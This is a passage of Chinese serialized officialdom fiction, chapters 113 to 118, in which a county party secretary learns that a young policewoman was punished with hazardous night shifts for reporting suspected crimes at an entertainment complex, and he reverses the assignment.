她站得笔直,像一尊被冻僵的雕塑,双手紧贴着裤缝线,指尖冰凉。每一次呼吸都带着轻微的白气,胸腔里的心脏却跳得像要挣脱束缚的野马。
目光死死盯着那扇紧闭的黑色铁门,仿佛那是通往未知命运的审判之门。
过往的行人极少,偶尔有早起卖早餐的三轮车吱呀呀地路过,投来好奇的一瞥,更让她如芒在背。
六点三十分。
铁门内侧传来轻微的金属摩擦声。
方黎的心猛地提到了嗓子眼,呼吸瞬间停滞。
厚重的铁门无声地向内滑开一道仅容一人通过的缝隙。
一个穿着深蓝色夹克的身影出现在门内,正是昨天打电话通知她的林夕。
他朝门外看了一眼,目光准确地落在树下的方黎身上,对她微微点了点头。
没有任何多余的表情,只是侧身让开一步,示意她进去。
方黎深吸一口气,冰冷的空气刺得肺叶生疼。
她用尽全力才稳住几乎要颤抖的双腿,迈开步子,一步一步,走向那道门缝。
每一步都像是踩在棉花上,又像是踏在烧红的炭火上。
她走过林夕身边时,甚至不敢抬眼看他。
进了门,眼前是县委大楼前那片开阔而肃静的广场。
清冷的空气在这里仿佛都凝滞了。
大楼在熹微的晨光中显露出庞大而沉默的轮廓,大部分窗户都黑洞洞的。
只有三楼靠近东侧的一扇窗户,透出明亮的灯光。
林夕没有言语,只是用眼神朝那扇亮灯的窗户示意了一下。
方黎顺着他的目光望去,心脏又是一阵狂跳。
那是……**办公室?
难道**这么早就到了?
要在办公室见她?当众训斥?她的掌心瞬间被冷汗浸透。
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>她僵硬地挪动脚步,朝着那扇透出光亮的窗户走去。
脚下的每一步都沉重无比。
广场空旷寂静,只有她自己的脚步声在回荡,显得格外清晰,也格外孤单。
她甚至能听到自己血液冲击耳膜的轰鸣声。
终于走到了那扇厚重的木门前。
门虚掩着,露出一道窄窄的光缝。
里面异常安静。
方黎站在门口,感觉全身的力气都被抽空了。
她做了几次深呼吸,试图平复几乎要跳出胸腔的心脏,鼓足了这辈子最大的勇气,才颤巍巍地抬起如同灌了铅的手臂。
指尖冰凉,带着无法抑制的颤抖,轻轻触碰到冰冷的门板。
她极其轻微地,推开了那道门缝。
门无声地滑开了一些。
预想中严肃的办公室场景并没有出现。
也没有预料中**正襟危坐等待她的画面。
首先映入眼帘的,是靠近门口的一把普通木椅。
椅背上,随意地搭着一件深灰色的运动外套。
紧接着,她的视线越过椅背,落在了办公室靠里的位置。
窗外的晨光还很微弱,室内的灯光显得格外明亮。
江昭宁背对着门口的方向,微微弯着腰,站在靠窗的一张矮几旁。
他袖子挽到了小臂处,露出结实的手腕。
他手里正拿着一块干净的白色软布,低着头,神情异常专注,动作细致而轻柔地擦拭着——擦拭着他脚上那双沾了些许泥点和湿痕的深蓝色跑鞋。
一下,又一下。
他擦得很认真,仿佛那是世界上最珍贵的物品。
灯光柔和地洒在他宽阔的肩背上,勾勒出一个沉静而专注的侧影。
办公室里弥漫着一股淡淡的皮革清洁剂的味道。
整个画面,安静得不可思议。
只有布面摩擦鞋帮发出的极其细微的“沙沙”声。
方黎僵在门口,如同被一道无形的闪电劈中。
她所有的恐惧、所有的猜测、所有预设的审判场景,在这一瞬间被眼前这绝对出乎意料的画面击得粉碎。
她张了张嘴,却发不出任何声音。
脑子里一片空白,只剩下那双被**仔细擦拭着的、沾着清晨泥土印记的跑鞋,在明亮的灯光下,显得无比清晰,也无比……平凡。
第114章 暗涌
江昭宁缓缓转过身,脸上并未刻意换上温和或威严的表情,眼神深邃而平静。
“进来。”声音不高,但穿透力很强,清晰地传到了门外。
方黎警服衬得她身形更加纤细。
这张脸年轻、清秀,原本该有属于这个年纪的朝气与坚定,此刻却被浓重的不安所笼罩。
她的嘴唇紧紧抿着,下颌线紧绷,眼神在接触到江昭宁时不由自主地垂下,双手下意识地在裤缝边交握,指节因为用力而泛出白色。
脚步迟疑地迈入,仿佛每一步都踩在灼热的铁板上。
“江……江**……”她的声音细若蚊呐,带着不易察觉的颤抖。
“坐吧,方黎。”江昭宁并未走回办公桌后,而是随意地靠在了桌沿,目光落在方黎局促不安的脸上,语气平淡无波。
方黎如同听到了命令,身体近乎僵硬地移动到那张访客椅前,却迟迟没有坐下,更像是在接受审判。
她飞快地抬眼扫了一下江昭宁,又触电般垂下。
“我……我……”喉咙像是被什么堵住了,连续几个“我”字都卡在了半空,只流露出一种无处安放的惶恐。
江昭宁微不可察地蹙了下眉,旋即松开。
他抬步走回属于自己的位置,缓缓坐下,身体向后微微靠向宽大厚实的真皮椅背。
右手拿起桌上的保温杯,旋开盖子,一股枸杞菊花茶的清苦气息弥散开来。
他没有急于啜饮,只是习惯性地在杯沿轻轻摩挲着温热的陶瓷壁,目光则像探照灯一般,稳稳地罩定在方黎身上。
“你什么呀?”他声音不高,语速刻意放缓,带着一丝不易察觉的安抚,却又隐含洞悉的力量,“那么拘束干吗?”
“你又没有做错什么?”每一个字都说得清晰而笃定。
“我……”方黎猛地抬头,眼中瞬间蒙上一层水汽,喉头滚动了一下,“对不起!”
这句话几乎是冲口而出,带着沉重的歉意和自我否定。
江昭宁抬起那只没拿杯子的手,轻轻朝她摆了一下,动作不大,却带着一种不容置疑的姿态。“对不起?”
“有什么好对不起的?”
他轻轻放下保温杯,杯底触碰桌面发出“嗒”的一声轻响。
“严格执法错在哪?”
“雾满县城,你难道觉得自己不该查行迹可疑的人?”他的语调渐渐带上了一丝难以遏制的情绪波澜,“我在你看来,是不是连这一点儿最基本的分辨能力都没有?”
他微微前倾,目光锐利地直视着方黎因紧张而苍白的脸,那目光似乎要穿透她纷乱的心防,“难道在你心里,我这个**,就是一个是非不分、颠倒黑白的人?”
他顿了顿,让质疑在空气中沉淀片刻,然后几乎是自嘲地勾了下嘴角,只是那笑意冰冷得没有一丝温度。
“或者说,你认为我江昭宁是那种睚眦必报的小人?”
“因为你对我的‘冒犯’,就利用手中的权力不遗余力地打压你一个基层**?”他刻意在“冒犯”两个字上加重了语气,带着一种冰冷的讽刺。
办公室的空气仿佛凝固了。
窗外的鸟鸣清晰地传来,反而衬得室内愈加寂静。
方黎能听到自己擂鼓般的心跳声,也看到了江昭宁眼中那一闪而逝的失望与怒意。
那怒意并非针对她,却让她更加惶恐和自责。
说完这些,江昭宁话锋陡然一转,如同冰河下奔突的暗流骤然转向。
他的声音低沉下去,变得更加冷静,也更加沉重。“那我问你,”他的视线牢牢锁住方黎,“不错,我处理过人。只是我处理的哪几个人?你知道是什么情况吗?”
“你难道一点儿也没有听说?”
他向前倾身,手肘压在桌面上,双手十指交叉,微微用力地顶着下颌,“你觉得,我那是在挟私泄愤,打击异己?”
他轻轻摇了摇头,嘴角甚至牵起一丝极淡的、带着冷意的弧度,“那你也太小看我江昭宁,也太小看‘规矩’二字了。”
方黎猛地一颤,慌忙摇头。
当时,她自己也曾在震惊之余闪过一丝惶恐的念头:这新**手段如此雷霆,是在清除异己、树立权威吗?
现在想起来,那几个人确实也不是善茬!
江昭宁连续几个有力的反问句,像重锤敲打在方黎心上。
每一个问号都带着不容置疑的份量,冲散了她心中盘踞的阴霾和恐惧。
是啊,如果**真要
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报复她这样一个小角色,何必亲自找她谈话?
何必……这样坦荡地质问她?
方黎深吸了一口气,缓缓抬起头。
她脸上的紧张感并未完全褪去,但眼神里的慌乱已经渐渐被一种豁出去的平静取代。
她挺直了有些佝偻的脊背,深深地吸了一口气,再缓缓吐出,一直攥紧的手心也慢慢放松了。
尽管脸色依旧苍白,但眼神里那份仿佛溺水般的慌乱,如同退潮般渐渐散去。
取而代之的是一种沉淀下来的,混杂着愧疚、信任与一丝希望的复杂情绪。
她强迫自己迎向江昭宁锐利的目光。
“江**……”她的声音比刚才稳定了许多,“我明白了。是我……狭隘了。”
江昭宁捕捉到了她神态的细微变化,紧绷的肩线微不可察地放松了一毫米。
他没有在这个问题上继续施压,而是向后重新靠回椅背。
他的目光扫过桌角一份关于近期全县凌晨治安情况的报告,上面的数据勾勒出危险而清晰的轮廓。
他拿起那份报告,随手翻开一页,手指轻轻敲了敲纸面。
“好。”他点点头,语气恢复了之前的主导和正式。“今天我们不谈别人的事。”
“叫你过来,是想问你几个问题,”他抬起眼,目光重新聚焦在方黎脸上,显得无比郑重,“请你务必如实回答。”
“这关系到的不止是你一个人,明白吗?”
“是!明白。请**问。”方黎立刻回应,声音不大但异常清晰坚定。
江昭宁的指尖在报告上划过一行被特意标注过的数字,那是近期发生的几起在凌晨时段针对单身女性的抢夺、骚扰案件记录。
他抬起头,锐利的目光如同探针,直刺方黎的眼底。
“第一个问题,”他的声音不高,却字字清晰地在安静的办公室里回荡,“新成立不久的交巡警大队,据我所知,成立初期的岗位安排非常紧张,人手调配上也从未听说有新进女性警员的编制。”
“你,方黎怎么会被突然调岗?”
“调岗也就罢了,”他顿了顿,语气里的疑问如同重锤般落下,“偏偏被安排在了凌晨零点到六点这个时间段执勤?”
第115章 不相信我?
方黎刚刚平复一些的心跳再次加速。
她下意识地舔了舔干涩的嘴唇,想张口,却觉得喉咙发紧。
“而且,”江昭宁并没有停止追问,他身体再次微微前倾,目光更加锐利,“你应该清楚这一点儿。”
“凌晨时段,尤其是后半夜的三点到四点,一直是各类恶性案件,包括流窜作案、寻衅滋事、甚至是针对特定人员的报复性犯罪的高峰期!灯光昏暗,人迹稀少,警力覆盖也最薄弱。”
“为了执勤警员的安全考虑,也为了应对突发状况的能力,那个时段的值勤点,原则上是必须安排身体素质和应变能力更强的男警员担当主力!”
“你是个女同志,这个安排,极不合理!”他的语气渐重,带着一种对基层警员安全本能的责任感和关切,同时也有着不容回避的质疑,“告诉我,这其中,有什么不得已的原因吗?”
“或者说,是什么人,出于什么考虑,做了这样一个违反常规、甚至可以说不负责任的调度?”
方黎的身体轻微地颤抖起来,仿佛**昭宁每一个字的重量压迫着。
她低下头,避开那灼人的视线,双手紧紧地绞在一起,指甲几乎要嵌进肉里。
内心的巨大煎熬如同两股力量在激烈撕扯。
说出来?
那意味着将直面一个她深知势力庞大的网络,后果难料。
不说?
眼前的这位新**,是她在这片绝望的黑暗中看到的唯一一丝光亮,她感觉到了他的真诚和担当。
办公室里陷入了一种令人窒息的沉默,只有墙上挂钟秒针跳动的“咔哒”声异常清晰,每一下都敲击在方黎紧绷的神经上。
窗外的天光又亮了一分,透过百叶窗的缝隙在地板上拉出几道淡金色的光痕,却驱不散室内的阴霾。
“怎么?”江昭宁的声音打破了沉默,他的语气中多了一丝理解,也有一丝不容置疑的压力。“你,不相信我?”
他目光沉沉地注视着方黎,“知道我为什么特意挑这个时间点,这么早把你叫到我办公室来吗?”
方黎抬起头,茫然地看向他,下意识地摇了摇头:“不……不知道。”
江昭宁站起身,绕过宽大的办公桌,走到窗前。
他伸手将原本半开的百叶窗向上完全推起,窗外开阔的县委大院景象一览无余。
晨光穿过玻璃,照亮了他严肃的侧脸线条。
他望着楼下空荡荡的停车场和寂静无声的办公楼群,声音低沉而清晰,像是对着窗外诉说,又像是为办公室里的方黎注入信心:“因为现在,时间还不到七点!”
“县委机关的所有工作人员,包括大部分部委办的领导,都还没来上班。”
“整个县委大楼,除了门岗的值班员,静得就像半夜的空房间。”
他转过身,目光重新落回方黎脸上,那目光中蕴含着一种强大的确定性和保护承诺,“几乎没有人看见你进来,更没有人会知道你此刻在我江昭宁的办公室里!”
他走回几步,停在方黎的椅子旁边,微微俯身,声音压得更低,却像铁锤般一字一句敲打在方黎心头:“你在这里告诉我的每一句话,”他指了指自己的耳朵,“只有我这双耳朵能听见。”
“它不会出现在任何录音设备里,不会写在任何正式记录上,绝对安全。”
他目光炯炯,带着一种破釜沉舟的决绝,“我需要的,是真实!”
“是不加任何粉饰和扭曲的真相!”
“你方黎提供给我的信息,到我这里,就是终点!至少是此刻的终点。”
“它能不能变成打开局面的武器,是我江昭宁的责任和本事!”
“你只负责提供真实。明白吗?”
最后三个字“明白吗?”像一记强心针,狠狠击中了方黎最后的心理防线。
她看到江昭宁眼中那不顾一切寻求真相的坚定决心,感受到他身上那种久违的、属于真正警察的公直勇气。
恐惧与犹疑如冰雪般消融,一股混杂着悲愤、委屈和决绝的情绪猛烈地冲了上来,让她鼻尖发酸,眼眶瞬间盈满了泪水。
“我……”方黎用力吸了一口气,仿佛要吸进所有的氧气来支持自己即将倾泻而出的话语。
她抬起头,迎向江昭宁那双鼓励与催促兼而有之的眼睛。
眼泪终于再也控制不住,无声地顺着脸颊滑落,砸在深蓝色的警裙上,洇开一小片深色。
“**,”她的声音哽咽着,却异常清晰,“我说!”
方黎
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挺直了脊梁,仿佛卸下了千斤重担,又像是终于找到了倾诉的出口,语速因为急切而显得有些凌乱:“事情……事情是这样的!”
“大概一个月前,我在处理一起普通的KTV**案件后续卷宗时,需要补充调查其中一个证人的背景情况。”
“那个证人提到过一个细节,说是在‘金鼎娱乐城’看到过**双方的头目有过接触。”
“本来这没什么,但那家娱乐城我早就注意到不对劲……”她语速加快,思路也变得清晰起来。
“它规模很大,装潢极尽奢华,但生意好像异常‘规矩’,连酒水促销都很少搞。”
“可它后半夜进出的人员数量和时间点,包括一些监控片段里拍到的人……有的脸谱很陌生,而且常常带着很强的戒备心。”
“这和我们日常管理的那些娱乐场所氛围不一样。”
“那种‘规矩’,更像是一层精心设计的伪装修饰。”
“我多了个心眼,以日常检查的名义与娱乐城的人闲聊时探过口风,也自己悄悄在安全距离外观察过几次……”
方黎深吸一口气,眼中闪烁着回忆和愤恨的光芒:“重点是大概几天前的一个深夜。”
“那天不是我值班,但我整理卷宗到很晚离开局里,路过金鼎后巷时,大概凌晨一点左右……”
“我听到有异常的动静,像是什么重物撞击的声音,还有压抑的争吵……非常可疑。”
“我就藏在不远的拐角……然后,我看到几个穿着黑衣服的人,戴着帽子和口罩,鬼鬼祟祟地从后门那个……那个平时锁着只供特殊人员出入的紧急通道小门里出来。”
“拖着一个非常大的、似乎很沉重的……那种用来装食品原料的黑色保温袋。”
“非常吃力地把它搬上一辆停在不远处的、没有牌照的白色面包车!”
“他们动作很快,但那种拖拽的分量感……”
“还有其中一个抬后面的人手腕露出的刺青……我记得很清楚。”
“我当时心里咯噔一下!”
“更可疑的是那袋子……那么大……上车时,明显往下沉了一下,感觉不像食品的份量!”
她的声音因为当时的恐惧和后怕而再次有些发抖。
第116章 精准的打压
江昭宁的眼神变得极其专注,身体一动不动,像一个蓄势待发的猎豹。
方黎的描述勾画出一个极其危险的画面——后巷、深夜、口罩人、无牌车、异常沉重的包裹、刺青……这些元素串联起来,指向的绝不可能是简单的违规经营。
“我不敢追上去,”方黎的声音带着懊恼,“人太少了,又是深夜。”
“但我记下了那辆车的特征——前大灯好像有划痕,一个很明显!”
“车身侧面有剐蹭掉漆的痕迹,就在后轮上方,巴掌大一块不规则形状。”
“我偷拍了几张照片,立刻回去写了一份详细的观察和分析报告……”
她说到这里,情绪激动起来,声音带着愤怒的颤音,“里面指出了金鼎娱乐城可能存在严重的非法活动。”
“包括但不限于涉嫌走私、藏匿**甚至更严重的犯罪,我建议立即成立专案组秘密调查,先不要打草惊蛇,重点监控后门通道和可疑白色车辆!”
她抬起头,眼眶通红地看着江昭宁:“我……我当时真的是一心想着工作,想着尽快查明!”
“所以第二天上班,我就按程序,第一时间把这份报告,连同偷拍的几张照片截图作为附件,递交给了我的直属上级,也就是……治安大队长——周志!”
这个名字从她齿间吐出,带着冰冷的恨意和巨大的委屈。
江昭宁的瞳孔骤然收缩!
周志?
这个名字出现的瞬间,像一枚烧红的铁钉楔入他的脑海!
这个周志本是禁毒大队教导员,前几天李国栋将他调整为治安大队长,因为不是提拔,属于内部调整,只要到县委组织部备一下案即可。
所以江昭宁也是事后才知道的。
方黎没有停,她的倾诉如同开闸的洪水:“因为是发生在金鼎娱乐城,这是治安管辖的场所。”
“我以为周队收到报告会立刻重视起来,最不济也会让我跟进核查一下线索……可是……”
她的声音陡然低沉下去,充满了悲愤和难以置信,“报告递上去后,周大队长当时的态度就很敷衍,‘嗯’了一声就让我出去了。”
“然后整整两天,没有任何动静!”
“没有任何指令!好像那份报告石沉大海!”
“第三天一大早,我还没进办公室的门,就被直接叫到了政工室!一张轻飘飘的调令甩在我面前——”
她咬着牙,几乎一字一顿地复述那张纸上冰冷的内容:“‘因工作需要,兹调原治安大队**方黎同志至交巡警大队工作,即刻报道!’”
我当时就懵了!
我追问理由,政工室的人只说是局领导研究决定,工作需要!
我又想去直接问周志。
可他办公室门紧锁着,别人说他出去开会了!
后来……交巡警大队那边接到的指令,就直接给我排了凌晨零点到六点的班,而且那位置……”
方黎痛苦地闭上了眼睛,“是规划线路里最偏僻的一段!周边连个像样的路灯都没几个!”
“这简直就是精准的打压和流放!”
方黎猛地睁开眼,泪流满面,但眼神却燃烧着不屈的火焰:“**,我后来想明白了!”
“我那个报告,触动了某些人的利益!”
“他们害怕我真的挖出金鼎娱乐城下面埋着的那些见不得人的东西!”
“周志……他要么是直接拿了好处替金鼎捂盖子的人,要么……就是某个更高层力量的马前卒!”
“我的正常履职、我的合理怀疑,在他们眼里成了必须被掐灭的火星!”
“把我调离治安大队,塞进新成立的、最辛苦的交巡警序列,还特意安排在最危险、最难熬的凌晨时段最偏僻的点位!”
江昭宁心中那根紧绷的弦被猛地拨动了一下,发出嗡鸣。
谁有这么大的能量,能越过常规程序,将一个举报了金鼎问题的女警精准“发配”到最艰苦、最危险的岗位?
“李国栋?”他倏地一惊,几乎是脱口而出,声音带着一丝难以置信的冷意。
如果连**局长都直接参与打压举报者,那问题就严重到难以想象的地步了!
这意味着金鼎的保护伞,可能已经深深扎根在执法机关内部!
他的目光变得无比深沉,手指无意识地敲击着桌面,发出“笃、笃”的轻响。
李国栋调整周志的位置,周志利用职权打压举报金鼎问题的下属方黎!
这是一个精心设计的、利用组织程序进行打击报复的链条!
除了周志外,还有贡达也是那把执行打压的刀,而握刀的手……江昭宁的目
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光仿佛穿透了墙壁,投向了李国栋办公室的方向。
原来如此!
一切都清楚了。
方黎的遭遇,不是一个孤立的事件,也不是简单的岗位调整。
这是一场精心策划的报复,是金鼎娱乐城背后那张无形大网对敢于触碰它边缘的小人物的反扑。
金鼎的水,到底有多深?
江昭宁的目光落在方黎疲惫却带着一丝释然的脸上。
他知道,这个年轻女警今天鼓起勇气说出的每一个字,都可能将她置于更危险的境地。
但同时,她也为他撕开了笼罩在东江县上空那片厚重帷幕的一角。
“好,方黎同志,你的情况,我了解了。”江昭宁的声音恢复了沉稳,但那份沉稳之下,是钢铁般的决心和冰冷的怒意,“今天我们的谈话内容,严格保密。”
“你回去后,正常工作,注意安全,告诉你们大队长、教导员你凌晨执勤的事取消,就说是我说的。”
“关于金鼎的事……”他停顿了一下,目光深邃,“不要再对任何人提起,包括你信任的同事。”
“剩下的事情,交给我。”
他站起身,走到窗边,背对着方黎,望着楼下空旷寂静的县委大院。
晨光中,大院里的国旗迎风招展,鲜红夺目。
他的背影挺拔而凝重,像一座沉默的山岳。
方黎看着**的背影,眼眶有些发热。
多日来的恐惧、委屈和孤立无援感,在这一刻似乎找到了一个坚实的依靠。
她用力地点了点头,尽管江昭宁背对着她看不见。
“你先回去吧,从后楼梯走,避开人。”江昭宁没有回头,声音平静地吩咐道。
“是,江**。”方黎站起身,敬了一个标准的警礼,动作带着前所未有的坚定。
她转身,轻轻拉开办公室门,像来时一样,悄无声息地融入了寂静的走廊。
门被轻轻关上。
办公室里只剩下江昭宁一人。
他依旧站在窗前,目光却仿佛穿透了晨雾,落在了城市另一角那座即使在白日也霓虹闪烁、门庭若市的“金鼎娱乐城”上。
他的眼神冰冷而锐利,手指在窗框上缓缓收紧。
“周志、贡达……李国栋……金鼎……”他低声自语,每一个名字都像一块冰。
第117章 主动要求?
江昭宁没有丝毫迟疑,抄起内部电话,按键的动作因指尖轻微的颤抖而显出几分突兀的激烈。
“魏明君,你马上到我办公室来一下!”每个字都像从齿缝里被硬生生推挤出来,带着冰棱的锋锐,电话线似乎都在无形中传导着那股迫人的寒意。
电话挂断,只剩下一片更加死寂的忙音。
江昭宁重新坐回宽大的皮椅里,身体微微后靠,指尖无意识地、极有节奏地轻叩着冰凉坚硬的实木桌面。
嗒…嗒…嗒…声音不大,却像精确的秒针,一下下敲在凝滞的空气里,也敲在无形的时钟上。
他目光落在桌角一份不起眼的内部通讯简报上,某页不起眼的角落印着方黎的名字和一张模糊的证件照——那是她前些日子在市局机关理论研讨会上获奖的短讯。
他眼神深邃,像在审视一张复杂的棋局图谱,又像在确认某个关键的落子。
十分钟,一分不差。
门外传来略显急促却强行压制的脚步声,紧接着是两声克制而恭敬的叩门声。
“进。”江昭宁的声音穿透门板。
门被推开,交巡警大队教导员魏明君几乎是侧着身子挤了进来。
他此刻额头上覆着一层细密的汗珠,崭新的警服肩线处被汗水洇出两道深色的湿痕,紧贴着皮肤。
他几步走到宽大的办公桌前,双脚并拢,敬了一个标准的警礼:“江**!”
“坐。”江昭宁靠在椅背上,眼睛没完全睁开,目光透过一丝缝隙落在魏明君身上,锐利得让他几乎感到皮肤被刺痛的错觉。
魏明君只敢将小半个臀部落在椅子边缘,腰背僵硬地挺直,双手拘谨地按在膝上,标准的“正襟危坐”。
空气似乎凝固了,带着令人窒息的张力。
墙上挂钟的秒针走动声变得格外响亮,一下,又一下,敲打着紧绷的神经。
江昭宁终于抬起眼皮,那双眼睛里像凝着一层化不开的冰雾,直直刺向魏明君。
“方黎,”他开口了,声音不高,却每一个字都沉沉地砸在对方神经上,“在你们大队工作吧?”
他的目光锐利如鹰隼,牢牢锁定魏明君脸上每一丝肌肉的抽动。
“是…是的,**!”魏明君喉咙发紧,声音有些干涩。
“她一个女警,”江昭宁身体微微前倾,那无形的压力陡然增强,“为什么安排在凌晨零点到六点这一时段值勤?”
他顿了顿,每一个字都清晰得如同冰棱碎裂,“你们大队没有男性吗?”
这句话像一记无形的重锤,狠狠砸在魏明君紧绷的神经上。
他猛地抬头,眼神里充满了猝不及防的惊愕和茫然,嘴巴微张,似乎想辩解什么,却一时找不到词句,只下意识地重复:“江**,我……我没有呀!”
他急急地辩解,声音带着一丝不易察觉的颤抖,“方黎同志是分配到我们大队没错。”
“但我只知道有这个人要来,具体岗位和排班……我、我根本就没有安排她的班啊!”
他脸上写满了急于撇清又百口莫辩的焦急,汗水顺着鬓角滑落下来。
“你没有安排?”江昭宁的声音依旧平稳,却冷得掉冰渣,嘴角似乎扯动了一下,形成一个极淡、极冷的弧度,“很好。”
他不再看魏明君,伸手拿起桌上那部红色的内线电话,手指在按键上按下几个数字,动作干脆利落,没有一丝犹豫。
电话接通得很快。
“交巡警大队办公室?”江昭宁的声音透过话筒传过去,带着一种不容置疑的威严,“我是江昭宁。”
“现在回答我,是谁安排方黎立刻上岗?”
“并且排定在零点到六点时段执勤的?立刻。”
电话那头陷入了一片死寂,仿佛被这突如其来的、来自顶峰的质询冻结了。
几秒后,一个年轻女声才带着无法掩饰的惊恐和磕绊传来:“报…报告江**!是…是局里政工室的贡主任!”
“他…他直接打电话交代的!”
“说…说方黎同志是主动要求下基层交巡警大队锻炼,要…要安排她到最累最苦的岗位去,接受…接受考验……”声音越说越小,最后几乎成了蚊蚋。
“贡主任?贡达?”江昭宁重复了一遍这个名字,语气平淡,听不出任何情绪。
“是…是的,贡主任!他说这是…是局领导的意思……”对方的声音抖得厉害。
“知道了。”江昭宁面无表
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情地挂断电话。
办公室里陷入一种比之前更为可怕的寂静。
魏明君感觉到一股寒意从脊椎骨直窜上来。
他忍不住打了个寒噤。
他低着头,不敢看江昭宁的脸,只感觉那冰冷的目光如同实质般落在自己头顶。
“主动要求?最累最苦?”江昭宁轻轻地、几乎是用气音重复着话筒里传出的字眼,脸上却缓缓覆上了一层严霜。
他目光锐利地转向魏明君,那眼神仿佛能穿透皮肉,直视人心底最隐秘的角落。“原来如此。”
这四个字,他说得极慢,每个音节都带着千钧的重量,砸在魏明君心上。
无需更多言语,这冰冷的神情和语气,已将“打击报复”四个字诠释得淋漓尽致。
“魏教,”江昭宁的声音恢复了那种不带温度的平稳,却更具压迫感,他身体微微前倾,双手交叉放在桌面上,形成一种无形的包围态势,“你是大队教导员,主抓队伍建设和思想工作。”
“人到了你这儿,”他微微一顿,目光如冷电般射向魏明君,“就是你的下属。”
“怎么安排,是你的事。”
“用谁,不用谁,怎么用,也是你职责范围之内的事。”
“这个道理,需要我反复强调吗?”
“是!是!**您说的对!”魏明君的头点得像捣蒜,额上的汗珠汇成小溪,顺着太阳穴流下,他慌忙抬起袖子擦拭,警服袖口瞬间洇湿了一片,“我…我深刻检讨!”
“这…这排班表,真不是我排的!我向您保证!”他急于解释,语速飞快,“这几天,我正好在市局参加一个为期三天的封闭式培训班,完全脱产!”
“可能…可能内勤排好后,就直接…直接发出去了,我确实没看到……”
“没看到?”江昭宁的声音陡然拔高了一度,像冰锥般刺破空气,带着一种近乎讽刺的尖锐,“‘没看到’就可以作为理由?”
“‘没看到’,就意味着你这个教导员对下属的岗位安排、人身安全可以撒手不管?”
“‘没看到’,一份排班表不经过大队主官允诺就能生效执行?”他发出一声极短促的冷笑,那声音冷得让魏明君如坠冰窟。
第118章 两人换岗
“既然这内勤如此没有组织观念,没有纪律意识,不懂得请示汇报。”
“那这内勤,”江昭宁的语气斩钉截铁,没有一丝转圜余地,“也就不适合再待在这个岗位上了。”
魏明君的心瞬间沉到谷底,连呼吸都停滞了。
“这内勤,是男是女?”江昭宁紧接着问,语气不容置疑。
“是…是女的,**。”魏明君的声音干涩无比。
“好。”江昭宁点点头,仿佛只是做了一个最寻常不过的决定,“那就安排她到执勤一线去。马上。”
他目光如刀,在魏明君惨白的脸上扫过,“不过,”他特意加重了语气,带着一种不容置疑的保护意味,“要安排早上九点以后的白班,且绝对、不可安排晚班。明白?”
“是!明白!”魏明君几乎是吼出来的,身体绷得更紧。
“至于方黎,”江昭宁的语气终于出现了一丝微不可察的松动,带着一种拨乱反正的决断,“让她去做内勤。”
“两人换岗。就这样。”
“明白!”魏明君站了起来,再次挺直腰板,大声应道,后背的警服已经被冷汗彻底浸透,紧紧贴在皮肤上,一片冰凉粘腻。
江昭宁不再看他,“去吧!”
魏明君如蒙大赦,又像是被无形的鞭子抽打着,动作僵硬地再次敬礼,然后几乎是挪动着发软的双腿,一步步退向门口。
他小心翼翼地拉开厚重的红木门,侧身挤了出去,再轻轻带上。
门锁合拢的“咔哒”一声轻响。
走廊里强劲的冷风扑面而来,魏明君却激灵灵打了个寒颤,像刚从冰水里捞出来。
他背靠着冰凉坚硬的大理石墙壁,大口喘着气,试图平复狂跳的心脏和混乱的思绪。
贡达!
这个名字在他脑子里嗡嗡作响,带着怨愤和后怕。
他掏出手机,屏幕的光映着他汗涔涔、毫无血色的脸。
手指因为残留的惊悸和一种难以言喻的愤怒而微微颤抖,几乎握不住手机。
电话几乎是瞬间被接通,对面传来一个年轻女声,带着一丝惯常的慵懒:“喂?教导员?”
“小王!”魏明君的声音嘶哑,带着前所未有的严厉和不容置疑,“立刻!马上!通知方黎同志到办公室上班!”
“立刻!还有,你,九点钟后,到中心广场执勤点报到!”
“从今天起,你调岗一线执勤!”
“白班,九点到下午五点!听清楚没有?立刻执行!”他几乎是用吼的,将刚才在**办公室里承受的巨大压力,通过这通电话粗暴地倾泻出去。
电话那头陷入了死一般的沉寂,足足有几秒钟,只能听到对方骤然变得粗重的呼吸声。
显然,这个叫王莉的内勤,被这晴天霹雳般的命令彻底砸懵了。
“魏教…教导员?为…为什么?我…贡主任他……”王莉的声音带着难以置信的哭腔和惊恐。
“没有为什么!执行命令!”魏明君粗暴地打断她,声音冷硬如铁,“贡主任那里,我自会说明!”
“不服从安排,后果自负!”他不由分说地挂断了电话,胸膛剧烈起伏,仿佛刚刚经历了一场搏斗。
他背靠着冰冷的墙壁,缓缓滑下几分,闭上眼睛。
脑海里交替闪过江昭宁那张覆满寒霜的脸,贡达那总是带着几分高深莫测笑意的圆脸,还有那个眼神清澈而倔强的女警方黎。
魏明君到院里上了自己的车,小车风驰电掣向着交巡警大队疾驰而去。
到了单位,他从内勤室拿了一张表。
排班表…排班表!
他目光急切地扫过那些密密麻麻的名字和时间段,最终死死定格在“方黎”两个字上,后面跟着刺眼的“值勤时段00:00-06:00”。
而“王莉”的名字,则安稳地躺在“大队内勤室”一栏里。
魏明君死死盯着“王莉”那两个字,眼神复杂到了极点,愤怒、后怕。
“江**真是明察秋毫啊!”魏明君的这个念头不受控制地从心底最深处翻涌上来,带着一种近乎后怕的敬畏。
连排班这样的小事他都关注到了。
并且精准地捕捉到了其中不寻常的意味。
这份洞察力,这份对细节近乎恐怖的掌控力,让魏明君感到一股比办公室冷气更刺骨的寒意。
汗水再次不受控制地从额头、鬓角、鼻尖疯狂渗出,汇成一道道冰凉的小溪,蜿蜒滑落。
他下意识地抬起手背擦拭,指尖却控制不住地微微颤抖。
刚才在**办公室里,那种泰山压顶般的窒息感,随着“贡达”这个名字被点破,非但没有消散,反而在他走出那扇象征权力的红木门后,更加清
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晰地沉淀下来,化作一种深入骨髓的战栗。
权力的链条,在这一刻骤然绷紧,又以冷酷无比的姿态强硬地扭转了方向。
江昭宁没有咆哮,没有拍桌子。
只是几句冰冷的质问和一个不容置疑的指令。
就将所有潜藏的算计、推诿和不公,瞬间暴露在强光之下,并予以了最直接的裁决。
这种力量,无声却沛然莫御,精准而冷酷。
魏明君强迫自己站直身体,压下心头的惊涛骇浪。
现在不是感慨的时候,**的命令必须立刻、不打折扣地执行。
他拿出内部通讯录,厚厚的小册子此刻握在手里竟有些沉重。
手指因为残留的紧张和冷汗而有些打滑,他费力地翻动着,目光急切地搜寻着那个名字——方黎。
找到了。
一个普通的手机号码。
他拿出自己的手机,屏幕的光映着他汗湿而略显苍白的脸。
他深吸一口气,努力让声音听起来平稳、有力,带着教导员应有的权威,按下了拨号键。
电话接通了,背景音有些嘈杂,似乎还有车辆驶过的声音。
